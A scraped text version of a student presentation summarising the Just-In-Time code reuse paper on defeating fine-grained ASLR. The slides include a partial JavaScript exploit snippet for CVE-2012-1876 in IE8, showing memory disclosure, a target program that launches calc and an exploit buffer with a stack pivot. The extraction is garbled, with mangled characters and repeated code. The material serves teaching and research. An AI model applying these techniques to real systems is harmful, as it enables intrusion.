Just-In-Time Code Reuse: On the Effec7veness of - - PowerPoint PPT Presentation

just in time code reuse
SMART_READER_LITE
LIVE PREVIEW

Just-In-Time Code Reuse: On the Effec7veness of - - PowerPoint PPT Presentation

Just-In-Time Code Reuse: On the Effec7veness of Fine-Grained Address Space Layout Randomiza7on Kevin Z. Snow, Fabian Monrose Lucas Davi,


slide-1
SLIDE 1

Just-­‑In-­‑Time ¡Code ¡Reuse: ¡

On ¡the ¡Effec7veness ¡of ¡Fine-­‑Grained ¡Address ¡ Space ¡Layout ¡Randomiza7on ¡ ¡ ¡

Kevin ¡Z. ¡Snow, ¡Fabian ¡Monrose ¡ Lucas ¡Davi, ¡Alexandra ¡Dmitrienko, ¡Christopher ¡Liebchen, ¡ Ahmad-­‑Reza ¡Sadeghi ¡ ¡ ¡ ¡ ¡

slide-2
SLIDE 2

CS457 ¡Presenta7on ¡

Kostas ¡Plelis ¡ Athanasiadi ¡Natalia ¡ Mitrousias ¡Aristeidis ¡ ¡ Athanasakis ¡Michalis ¡ ¡

slide-3
SLIDE 3

Introduc7on ¡

slide-4
SLIDE 4

ROP ¡chain ¡

slide-5
SLIDE 5

Fine-­‑grained ¡randomiza7on ¡

slide-6
SLIDE 6

Adversarial ¡Model ¡

Target ¡plaUorm ¡uses ¡following ¡mechanisms: ¡ Ø Non ¡– ¡Executable ¡Memory ¡ Ø JIT ¡mi7ga7ons ¡

– Random ¡NOP ¡inser7on ¡ – Randomized ¡JIT ¡pages ¡ – Constant ¡variable ¡modifica7ons ¡

Ø Export ¡Address ¡Table ¡Access ¡Filtering ¡ ¡ Ø Base ¡Address ¡Randomiza7on ¡ Ø Fine-­‑grained ¡Randomiza7on ¡

slide-7
SLIDE 7

Workflow ¡of ¡JIT ¡code-­‑reuse ¡

Leak ¡Code ¡Pointer ¡

Map ¡Memory ¡ Find ¡Gadgets ¡ Compile ¡ ¡ROP ¡ program ¡ Find ¡API ¡ func7ons ¡ Vulnerable ¡ Applica7on ¡

Exploit ¡ Descrip7on ¡

slide-8
SLIDE 8

Map ¡Memory ¡

slide-9
SLIDE 9

Find ¡API ¡Calls ¡

slide-10
SLIDE 10

Find ¡Gadgets ¡

slide-11
SLIDE 11

JIT ¡Compile ¡

JumpG& LoadRegG& MovRegG&

gadgets available

Gadget 1 Gadget 2 Gadget 3 Gadget 5 Gadget 6 Gadget 4

Serialize

LoadLibrary(“kernel32”); GetProcAddress(@, “WinExec”); @(“calc”, SW_SHOWNORMAL); LoadLibrary(“kernel32”); GetProcAddress(@, “ExitProcess”); @(1);

  • ur high-level language

...

generate possible gadget arrangements fullfill with available gadgets

slide-12
SLIDE 12

Implementa7on ¡Overview ¡

slide-13
SLIDE 13

Proof ¡of ¡Concept ¡

Ø Targets ¡Internet ¡Explorer ¡

– IE8 ¡running ¡on ¡Windows ¡7 ¡ – CVE-­‑2012-­‑1876 ¡(heap ¡overflow ¡vulnerability) ¡ – Many ¡more ¡vulnerabili7es ¡available ¡that ¡could ¡be ¡ u7lized ¡

Ø Loads ¡Windows ¡calculator ¡upon ¡browsing ¡the ¡ malicious ¡HTML ¡page ¡

slide-14
SLIDE 14

Proof ¡of ¡Concept ¡

  • Need ¡memory ¡disclosure ¡interface ¡& ¡code ¡

pointer ¡

Ø Heap ¡Feng ¡Shui ¡

  • Buffer ¡to ¡overflow ¡
  • String ¡object ¡
  • Bueon ¡object ¡(CButtonLayout) ¡

Ø Overwrite ¡string’s ¡length ¡property ¡

  • Through ¡overflow ¡
  • Set ¡it ¡to ¡2^32 ¡ ¡

Ø Now ¡possible ¡to ¡read ¡any ¡rela6ve ¡memory ¡address ¡

  • Using ¡string’s ¡ ¡charCodeAt() ¡method ¡
slide-15
SLIDE 15

Proof ¡of ¡Concept ¡

  • Need ¡memory ¡disclosure ¡interface ¡& ¡code ¡

pointer ¡

Ø Harvest ¡self-­‑reference ¡from ¡bueon ¡object ¡

  • Use ¡reference ¡to ¡implement ¡ ¡DiscloseByte ¡ ¡
  • Translates ¡rela7ve ¡addresses ¡to ¡absolute ¡addresses ¡

Ø Harvest ¡func7on ¡pointer ¡from ¡bueon ¡object ¡

  • Pass ¡it ¡to ¡HarvestCodePages ¡
  • JIT-­‑compile ¡target ¡program ¡ ¡

Ø Coded ¡in ¡a ¡simple ¡high-­‑level ¡language ¡ Ø Compiled ¡to ¡a ¡series ¡of ¡gadgets, ¡inline ¡with ¡exploit ¡ buffer ¡construc7on ¡

slide-16
SLIDE 16

Proof ¡of ¡Concept ¡

  • Program ¡flow ¡redirec6on ¡

Ø Bueon ¡object ¡func7on ¡pointer ¡overwrieen ¡using ¡ the ¡same ¡construc7on ¡ Ø Now ¡points ¡to ¡a ¡stack ¡pivot ¡gadget ¡ Ø Stack ¡pivot ¡switches ¡the ¡stack ¡to ¡begin ¡execu7on ¡

  • f ¡NOP ¡gadget ¡sled ¡

Ø Execu7on ¡of ¡target ¡program ¡follows ¡

slide-17
SLIDE 17

if (address & 1) return value >> 8; // get upper

9

return value & 0xFF; // value is 2 bytes, get lower

10

};

11 12

// Define target program (’@’ is shorthand

13

// for ’last value returned’)

14

var program =

15

”LoadLibraryW(L’kernel32’);” +

16

”GetProcAddress(@, ’WinExec’);” +

17

”@(’calc’, 1);” +

18

”LoadLibraryW(L’kernel32’);” +

19

”GetProcAddress(@, ’ExitProcess’);” +

20

”@(1);”;

21 22

// Steps 2-4, harvest pages, gadgets, functions

23

framework.HarvestCodePages(this.initialCodePtr_);

24 25

// Step 5, 6 - jit-compile and build exploit buffer

26

var exploitBuffer =

27

Exploit Code Sample

// ... snip ...

1

// The string object is overwritten, and initial code

2

// pointer harvested prior to this snippet of code

3 4

// Step 1, implement DiscloseByte interface

5

framework.prototype.DiscloseByte = function(address) {

6

var value = this.string_.charCodeAt(

7

(address - this.absoluteAddress_ - 8)/2);

8

if (address & 1) return value >> 8; // get upper

9

return value & 0xFF; // value is 2 bytes, get lower

10

};

11 12

// Define target program (’@’ is shorthand

13

// for ’last value returned’)

14

var program =

15

”LoadLibraryW(L’kernel32’);” +

16

”GetProcAddress(@, ’WinExec’);” +

17

”@(’calc’, 1);” +

18

”LoadLibraryW(L’kernel32’);” +

19

”GetProcAddress(@, ’ExitProcess’);” +

20

”@(1);”;

21 22

// Steps 2-4, harvest pages, gadgets, functions

23

framework.HarvestCodePages(this.initialCodePtr_);

24 25

// Step 5, 6 - jit-compile and build exploit buffer

26

var exploitBuffer =

27

repeat(0x3E, unescape("%u9191%u9191")) + // Id

28

repeat(0x19, framework.NoOpG()) + // Sled

29

unescape(framework.Compile(program)) + // Payload

30

repeat(0x12, unescape("%u4545%u4545")) + // Pad

31

repeat(0x32, framework.StackPivotG()); // Redirect

32 33

// overwrite with the exploit buffer

34

// ... snip ...

35

End Code Exploit Code Sample

// ... snip ...

1

// The string object is overwritten, and initial code

2

// pointer harvested prior to this snippet of code

3 4

// Step 1, implement DiscloseByte interface

5

framework.prototype.DiscloseByte = function(address) {

6

var value = this.string_.charCodeAt(

7

(address - this.absoluteAddress_ - 8)/2);

8

if (address & 1) return value >> 8; // get upper

9

return value & 0xFF; // value is 2 bytes, get lower

10

};

11 12

// Define target program (’@’ is shorthand

13

// for ’last value returned’)

14

var program =

15

”LoadLibraryW(L’kernel32’);” +

16

”GetProcAddress(@, ’WinExec’);” +

17

”@(’calc’, 1);” +

18

”LoadLibraryW(L’kernel32’);” +

19

”GetProcAddress(@, ’ExitProcess’);” +

20

”@(1);”;

21 22

// Steps 2-4, harvest pages, gadgets, functions

23

framework.HarvestCodePages(this.initialCodePtr_);

24 25

// Step 5, 6 - jit-compile and build exploit buffer

26

var exploitBuffer =

27

repeat(0x3E, unescape("%u9191%u9191")) + // Id

28

repeat(0x19, framework.NoOpG()) + // Sled

29

unescape(framework.Compile(program)) + // Payload

30

repeat(0x12, unescape("%u4545%u4545")) + // Pad

31

repeat(0x32, framework.StackPivotG()); // Redirect

32 33

// overwrite with the exploit buffer

34

// ... snip ...

35

End Code

slide-18
SLIDE 18

Evalua7on ¡

slide-19
SLIDE 19

Evalua7on ¡

slide-20
SLIDE 20

Evalua7on ¡

slide-21
SLIDE 21

Evalua7on ¡

slide-22
SLIDE 22

Mi7ga7ons ¡

  • Re-­‑randomiza7on ¡of ¡code ¡pages ¡
  • Defenses ¡that ¡hinder ¡the ¡first ¡stage ¡
  • Instruc7on ¡Set ¡Randomiza7on ¡
  • Control ¡Flow ¡Integrity ¡(CFI) ¡

A ¡bunch ¡of ¡other ¡tradi7onal ¡defenses ¡that ¡ authors ¡do ¡not ¡believe ¡that ¡could ¡work… ¡

slide-23
SLIDE 23

Apes! ¡Together, ¡strong! ¡